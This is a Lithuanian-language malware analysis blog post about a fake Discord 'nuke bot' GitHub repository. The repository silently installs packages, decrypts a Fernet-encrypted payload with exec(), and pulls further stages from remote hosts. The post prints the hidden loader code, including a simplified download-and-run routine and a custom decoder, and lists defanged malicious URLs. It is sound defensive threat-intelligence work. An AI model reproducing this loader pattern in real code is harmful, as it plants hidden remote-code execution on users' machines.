Paslėpti pavojai „GitHub“: duomenis vagiantys „Python“ scenarijai
Tyrimas, kaip iš pažiūros nekaltame „GitHub“ projekte paslėptas „Python“ kodas iššifruoja ir paleidžia nuotolinį krovinį, galintį išsiųsti aukos duomenis.
Įvadas
Ramiai sėdėjau kriptovaliutų ir prekybos „Discord“ kanale, kai kažkas pasidalijo nuoroda į savo „GitHub“ profilį. Pamačius, kad žmogus tokioje grupėje siūlo „Python“ scenarijų kasimui, prekybai ar dar kam nors, smalsumas laimėjo.
Iš pirmo žvilgsnio nieko ypatingo, tačiau dvi detalės užkliuvo. CTI tyrėjo vidinis signalizatorius pradėjo pypsėti, todėl pažiūrėkime giliau.
Pastaba
Kanale keli žmonės teigė paleidę paskyroje buvusius scenarijus. Negalėjau patvirtinti, ar tai buvo skirtingi žmonės, ar tas pats asmuo su keliomis paskyromis. Jei kodas iš tiesų buvo paleistas, pasekmės galėjo būti nemalonios.
Pirmas žvilgsnis
Pirmiausia dėmesį patraukė saugykla pavadinimu „Discord-Nuke-Bot-Stable-Version“.
Kilo trys klausimai:
- Kodėl saugykla taip pavadinta?
- Koks tikslas „sunaikinti“ ar užtvindyti „Discord“ kanalą?
- Ar tai gali būti informacijos vagis?
Pirmasis atsakymas gana paprastas: žmogus, ieškantis būdo užtvindyti kanalą, gali įvesti būtent tokius žodžius ir rasti šią saugyklą. Į trečią klausimą gali atsakyti pats kodas.
Kodo patikra
Faile main.py radau štai ką:
Tyliai diegiami moduliai
1
2
3
subprocess.run(['pip', 'install', 'cryptography'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(['pip', 'install', 'fernet'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(['pip', 'install', 'requests'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
Kodas be aiškaus naudotojo sutikimo įdiegia cryptography, fernet ir requests bibliotekas, o išvestį paslepia. Vien tai dar neįrodo kenkėjiškumo, bet kartu su tolesniu elgesiu tampa svarbiu signalu.
Iššifruojamas ir paleidžiamas krovinys
1
2
3
from fernet import Fernet
import requests
exec(Fernet(b'qMQ9By0xS9aF5IiNtG4neJTkGsJhNSYj3qNHWGt4MFE=').decrypt(b'...'))
Naudojamas kode įrašytas Fernet raktas, iššifruotas turinys perduodamas exec(). Tokia konstrukcija paslepia tikrąją programos paskirtį iki vykdymo momento ir leidžia paleisti savavališką „Python“ kodą.
Galimos funkcijos – duomenų išsiuntimas, failų keitimas, papildomo kenkėjiško kodo atsisiuntimas ar išlikimo sistemoje mechanizmai. Šiame etape tai buvo hipotezės, kurias reikėjo tikrinti iššifruojant turinį.
Užmaskavimo išardymas
Fernet sluoksnį galima iššifruoti neleidžiant paties krovinio:
1
2
3
4
5
6
7
8
9
from cryptography.fernet import Fernet
key = b'{key}'
cipher = Fernet(key)
encrypted_message = b'{message}'
decrypted_message = cipher.decrypt(encrypted_message).decode()
with open("output.txt", "w", encoding="utf-8") as output:
output.write(decrypted_message)
Iššifruotas kodas turėjo dar vieną sluoksnį. Jis naudojo raktą vibe.process-byunknown, bandė iš kelių adresų atsisiųsti kitą turinį, iššifruoti jį, įrašyti į laikiną paslėptą .py failą ir paleisti naujame procese be matomo lango.
Supaprastinta svarbiausia logika:
1
2
3
4
5
6
7
8
9
10
11
12
13
for url in urls:
try:
decoded_url = decode(url, key)
response = urllib.request.urlopen(decoded_url)
payload = response.read().decode("utf-8")
break
except Exception:
pass
file_path = os.path.join(tempfile.gettempdir(), f"{uuid.uuid4()}.py")
with open(file_path, "w", encoding="utf-8") as output:
output.write(decode(payload, key))
subprocess.Popen([sys.executable, file_path], creationflags=subprocess.CREATE_NO_WINDOW)
Paprastas base64 dekodavimas pateikė nesuprantamą tekstą, nes duomenims papildomai taikyta simbolių transformacija. Atkartojus kode esančią funkciją:
1
2
3
4
5
6
7
8
import base64
def custom_decode(encoded, key):
raw = base64.b64decode(encoded).decode("utf-8", errors="ignore")
return "".join(
chr(ord(char) - ord(key[index % len(key)]))
for index, char in enumerate(raw)
)
pavyko gauti du neutralizuotus adresus:
1
2
hxxps://smarxtech[.]store/tecx0/3DRobotic/drone
hxxps://rlim[.]com/pred-FMoss/raw
Adresų patikra
Tyrimo metu pirmasis adresas jau buvo žymimas kaip kenkėjiškas:
Antrasis tuo metu nebuvo žymimas:
Tai gera priminimo dozė: nulinis aptikimų skaičius nėra nekaltumo įrodymas. Reputacijos sistemos rodo, ką jų šaltiniai jau žino, o ne galutinę tiesą apie objektą.
Ką grąžino nuotoliniai adresai
Pirmasis adresas pateikė dar vieną užšifruotą sluoksnį:
Antrajame buvo panaši situacija:
Kode aptiktas rusiškas komentaras, kurio prasmė: „Jei atėjai taip toli, tavęs laukia ilgas kelias.“ Toliau prasibrauti nepavyko – infrastruktūra galėjo riboti sąveiką arba jau būti pakeista.
Platesnė paieška
Pagal konkrečią eilutę:
1
exec(Fernet(b'qMQ9By0xS9aF5IiNtG4neJTkGsJhNSYj3qNHWGt4MFE=')
„GitHub“ paieškoje radau daugiau nei 120 saugyklų su ta pačia konstrukcija, skirtingais pavadinimais ir paskyromis. Išplėtus paiešką iki bendresnės exec(Fernet(b' išraiškos, vienos dienos paieškoje pasirodė maždaug tūkstantis saugyklų.
Šie skaičiai buvo momentinis tyrimo rezultatas, o ne išsamus visos platformos matavimas. Dalis atitikmenų galėjo būti kopijos, analizės pavyzdžiai ar tarpusavyje nesusijęs kodas. Vis dėlto pakartotinai naudojamas užmaskavimo modelis ir socialinis platinimas rodė reikšmingą riziką.
Vertinimas
Surinkti įrodymai – tylus priklausomybių diegimas, užšifruoto kodo vykdymas, kelių pakopų atsisiuntimas, paslėptas laikinas failas ir neutralizuota infrastruktūra – patvirtina, kad tirta saugykla platino kenkėjišką kodą. Teiginys apie konkrečią „infostealer“ šeimą liko nepatvirtintas, nes galutinis krovinys nebuvo gautas.
Išvada
Atidžiai vertinkite, ką atsisiunčiate, klonuojate ir ypač – ką paleidžiate. Lengva pasakyti, sunkiau nuosekliai daryti, bet šiuo atveju kelios minutės kodo peržiūros būtų atskyrusios tariamą „Discord“ įrankį nuo kelių pakopų kenkėjiško įkėlimo grandinės.
Sekite tyrimus
Nauji tyrimai be sekimo technologijų
Prenumeruokite kalbos RSS srautą arba sekite Deividą „LinkedIn“. HECAVEX nenaudoja reklamos sekiklių ar rinkodaros pikselių.






